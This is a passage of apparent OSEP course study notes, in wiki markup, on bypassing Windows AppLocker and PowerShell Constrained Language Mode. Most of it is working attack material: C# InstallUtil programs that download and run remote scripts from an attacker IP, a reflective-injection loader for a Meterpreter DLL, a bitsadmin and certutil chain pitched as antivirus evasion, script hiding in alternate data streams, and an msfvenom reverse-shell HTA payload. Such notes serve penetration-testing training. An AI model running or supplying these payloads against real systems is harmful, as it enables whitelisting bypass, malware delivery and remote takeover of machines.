| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
